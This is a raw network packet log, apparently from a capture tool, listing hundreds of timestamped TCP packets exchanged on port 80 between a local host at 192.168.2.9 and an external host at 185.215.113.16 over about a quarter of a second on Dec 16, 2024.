Dec 16, 2024 10:38:28.299592972 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.299638033 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.300896883 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.300967932 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.301472902 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.301577091 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.303453922 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.303472042 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.303483963 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.303497076 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.303539038 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.303539038 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.303539038 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.304044962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.304162025 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.304188013 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.304243088 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.305277109 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.305372953 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.305448055 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.305506945 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.306318045 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.306335926 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.306440115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.306440115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.307265043 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.307286978 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.307336092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.307359934 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.308427095 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.308444023 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.308569908 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.308569908 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.309427023 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.309515953 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.309592962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.309640884 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.310538054 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.310663939 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.310678959 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.310725927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.311573029 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.311630964 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.311705112 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.311748028 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.312659979 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.312673092 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.312747955 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.313775063 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.313870907 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.313937902 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.314018011 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.314861059 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.314873934 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.314929008 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.315934896 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.315954924 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.316039085 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.316039085 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.316870928 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.317151070 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.317167044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.317214966 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.318000078 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.318082094 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.318291903 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.318375111 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.319123030 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.319273949 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.319339991 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.319339991 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.320079088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.320244074 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.320264101 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.320293903 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.321377993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.321434975 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.321511030 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.321583986 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.322382927 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.322467089 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.322578907 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.322633982 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.323389053 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.323456049 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.323805094 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.323863983 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.324625969 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.324639082 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.324738026 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.324738026 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.325510025 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.325522900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.325576067 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.325576067 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.326466084 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.326535940 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.326927900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.327337980 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.327841997 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.327991962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.328022003 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.328056097 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.328833103 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.328903913 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.329015017 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.329142094 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.329926968 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.329940081 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.330028057 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.330928087 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.331011057 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.331052065 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.331156969 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.332529068 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.332683086 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.332837105 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.333086967 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.333748102 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.333832979 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.333904028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.334155083 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.334642887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.334661961 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.334712982 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.334713936 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.335211039 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.335289955 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.335361004 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.335402966 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.336304903 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.336395979 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.336453915 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.336813927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.337407112 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.337522984 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.337558985 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.337903023 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.338166952 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.338264942 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.338296890 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.338490009 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.339251041 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.339339018 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.339373112 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.339463949 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.340421915 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.340464115 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.340524912 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.340524912 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.341427088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.341528893 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.341871977 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.341871977 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.342483044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.342585087 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.342603922 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.342715025 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.343549013 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.343626022 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.343655109 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.343761921 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.344628096 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.344755888 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.344774961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.344813108 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.347923040 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.347939014 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.348001957 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.348001957 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.348078966 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.348092079 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.348232985 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.348242998 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.348242998 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.348248959 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.348288059 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.348330021 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.348939896 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.349020004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.485093117 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.485129118 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.485383034 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.485395908 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.485430956 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.485430956 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.485430956 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.485461950 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.486392975 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.486500025 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.486783981 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.486902952 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.486927986 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.486954927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.487862110 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.487943888 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.487976074 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.488060951 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.488944054 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.489000082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.489075899 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.489145994 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.490014076 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.490134001 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.490206957 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.490206957 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.491092920 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.491147041 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.491175890 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.491269112 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.492161989 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.492211103 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.492284060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.492343903 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.493259907 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.493601084 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.493778944 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.494328976 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.494405031 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.494450092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.494450092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.495405912 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.495460987 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.495539904 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.495681047 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.496479034 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.496601105 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.496737003 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.497560024 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.497684956 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.497872114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.498640060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.498821020 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.498898029 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.499741077 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.499790907 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.499890089 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.500814915 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.500879049 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.500927925 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.500961065 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.501882076 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.501969099 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.502017975 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.502939939 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.503133059 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.503179073 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.504004955 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.504122972 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.504159927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.505122900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.505255938 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.506237984 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.506280899 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.506280899 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.506344080 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.507260084 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.507334948 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.507428885 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.507734060 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.508373022 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.508493900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.508776903 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.509399891 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.509525061 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.509859085 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.510473967 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.510663986 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.510709047 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.511529922 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.511593103 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.511780977 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.512727976 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.512773037 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.512836933 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.513087034 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.513883114 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.513982058 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.514025927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.514950037 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.515018940 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.515064001 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.515985966 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.516079903 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.516200066 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.516921043 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.516967058 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.517009020 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.518002987 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.518048048 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.518126011 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.519160032 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.519206047 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.519247055 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.519331932 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.520203114 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.520283937 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.520617962 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.521234035 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.521357059 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.521636009 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.522314072 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.522413969 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.522861004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.523454905 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.523516893 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.523550034 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.524578094 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.524614096 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.524651051 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.524705887 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.524705887 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.525527954 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.525649071 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.525924921 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.526709080 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.527131081 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.527335882 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.527781010 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.527841091 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.527889013 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.528793097 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.528898954 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.529038906 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.529835939 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.529887915 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.529948950 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.531053066 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.531239986 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.531286001 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.531286001 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.532306910 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.532449007 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.533457994 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.533508062 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.533541918 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.533910036 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:28.534162998 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.534275055 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:28.534322977 CET	49935	80	192.168.2.9	185.215.113.16
